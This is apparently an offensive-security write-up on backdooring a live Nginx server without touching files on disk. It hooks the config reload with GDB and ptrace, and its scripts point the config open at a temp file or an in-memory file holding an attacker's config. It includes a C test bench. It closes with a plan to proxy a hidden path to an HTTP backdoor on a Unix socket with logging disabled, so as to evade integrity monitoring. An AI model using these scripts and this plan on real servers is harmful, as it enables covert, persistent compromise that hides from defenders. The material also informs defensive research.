# tl;dr
YAUT (Yet Another Useless Technique), just like [[pidfd-getfd-shell]], aimed at replacing webshells. Often a good way to backdoor a web server is by changing the HTTP service config, but this can be noisy and config files may be watched by FIM. The technique combines hot-reload signals with `ptrace` (GDB, really) to spoof the config file read by the Nginx master process to change the configuration without touching the filesystem or restarting the service/changing service parameters.
# nginx signaling
Nginx spins up a custom signal handler, which provides some means of controlling the process at runtime (described in the docs here: https://nginx.org/en/docs/control.html). The signals are as follows:
|signal|action|
|----|----|
|TERM, INT|fast shutdown|
|QUIT|graceful shutdown|
|HUP|changing configuration, keeping up with a changed time zone (only for FreeBSD and Linux), starting new worker processes with a new configuration, graceful shutdown of old worker processes|
|USR1|re-opening log files|
|USR2|upgrading an executable file|
|WINCH|graceful shutdown of worker processes|
As attackers, we are mostly interested in `SIGUSR2` and `SIGHUP`. Backdooring the executable is out-of-scope of the technique, so we will be using `SIGHUP`. It is possible to just change the config temporarily and then change it back, but it is not _cool_.
Let's see what happens when we `strace` the nginx master process after sending the `SIGHUP` signal:
![[Pasted image 20241116164150.png]]
After the handler executes, the `nginx` process gets a file descriptor for the main config file (and every included one), gets the amount of data to read from the file descriptor (making hooking easier), and reads the file in a single call. This sequence is easy to hook, and some approaches are described below.
# setting up testing
For testing, I'll use a default nginx installation. The goal of the reload would be to change the port of the default site to 8082. In other words, the goal is to load the following config:
```nginx
server {
listen 8082 default_server;
listen [::]:8082 default_server;
root /var/www/html;
server_name _;
location / {
try_files $uri $uri/ =404;
}
}
```
To test the hooks without restarting the process every time, it is a good practice to create a simple test bench binary that would simulate the behavior. Since we are just spoofing a file read, it is extremely simple:
```c
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <stdlib.h>
int main() {
printf("my pid is: %d\n", getpid());
getchar();
const char *filename = "/etc/nginx/nginx.conf";
int fd = open(filename, O_RDONLY);
if (fd == -1) {
perror("open");
return 1;
}
struct stat sb;
int ret = syscall(SYS_newfstatat, fd, "", &sb, AT_EMPTY_PATH);
if (ret == -1) {
perror("newfstatat");
close(fd);
return 1;
}
printf("sz: %lld b\n", (long long)sb.st_size);
char *buf = malloc(sb.st_size + 1);
if (!buf) {
perror("malloc");
close(fd);
return 1;
}
ssize_t bytes_read = syscall(SYS_pread64, fd, buf, sb.st_size, 0);
if (bytes_read == -1) {
perror("pread64");
free(buf);
close(fd);
return 1;
}
buf[bytes_read] = '\0';
printf("read:\n%s\n", buf);
free(buf);
close(fd);
return 0;
}
```
# simple hooking
The easiest way to hook the read of the config is to change the argument to the `open` call. I'll be using GDB as a way to hook things with software breakpoints, because it is much easier and clear what's exactly happening. Obviously, this could be reimplemented in C directly.
The code would be extremely simple:
```python
# filespoof_name.gdb
set $newname = "/tmp/test.conf"
set $newname_len = $_strlen($newname)
set detach-on-fork off
break open
condition 1 $_streq((char *)$rdi, "/etc/nginx/sites-enabled/default")
# signal break
c
c
# open break
#preserve regs before calls
set $old_rdx = $rdx
set $old_r10 = $r10
set $old_rsi = $rsi
set $old_rcx = $rcx
set $addr = (char *) malloc($newname_len)
call strcpy($addr, $newname)
printf "nginxject: rdi: %s\n", (char *)$rdi
# restore regs
set $rdi = $addr
set $rsi = $old_rsi
set $rdx = $old_rdx
set $r10 = $old_r10
set $rcx = $old_rcx
printf "nginxject: new rdi: %s\n", (char *)$rdi
detach
q
```
Here's what happens when it runs:
![[Pasted image 20241116164907.png]]
![[Pasted image 20241116164929.png]]
![[Pasted image 20241116165045.png]]
# loading a string from memory as a config
The previous approach requires us to create a temporary file. While this is usually not a problem, it is still not _cool_. A cooler way would be to force an arbitrary string as a config. One way to do it is with memory file descriptors:
```python
# filespoof_memfd.gdb
set $conf = "server {\n\tlisten 8082 default_server;\n\tlisten [::]:8082 default_server;\n\troot /var/www/html;\n\tserver_name _;\n\tlocation / {\n\t\ttry_files $uri $uri/ =404;\n\t}\n}"
set $conf_len = $_strlen($conf)
set detach-on-fork off
break open
condition 1 $_streq((char *)$rdi, "/etc/nginx/sites-enabled/default")
# signal break
c
c
# open break
# preserve regs
set $old_rdi = $rdi
printf "nginxject: rdi: %s\n", (char *)$rdi
set $addr = (char *) malloc($conf_len)
call strcpy($addr, $conf)
set $mfd = (long long) memfd_create("newconf", 0)
printf "nginxject: memfd: %d\n", $mfd
call write($mfd, $conf, $conf_len)
printf "nginxject: rewinding..."
call lseek($mfd, 0, 0)
printf "nginxject: returning..."
set $rdi = $old_rdi
return (long long) $mfd
detach
q
```
This way, the `open` call will return a file descriptor from a `memfd_create` syscall, which already has the config written into it.
Another approach would be to modify the open hook to save a file descriptor to spoof, and then write hooks for `newfstatat` and `read` to return a bogus `stat` struct with the length of the string and copy the string, respectively. This would leave the least artifacts (no new file descriptor would be created).
# further steps
What should the config be changed to? Probably, the stealthiest way to backdoor a nginx installation would be to `proxy_pass` a hidden path to an attacker-controlled binary that serves a backdoor over HTTP. Since nginx can work with Unix sockets, the overall workflow would be something like:
```
bind HTTP backdoor to unix socket ->
change the existing config to avoid logging and proxy the socket ->
reload the config from memory
```
This way of backdooring nginx avoids modifying the configuration on disk, creating new listening ports, changing the application that uses nginx as the webserver, or unnecessary inbound network connections.
As an example of what a HTTP backdoor might look like, refer to https://github.com/yudai/gotty.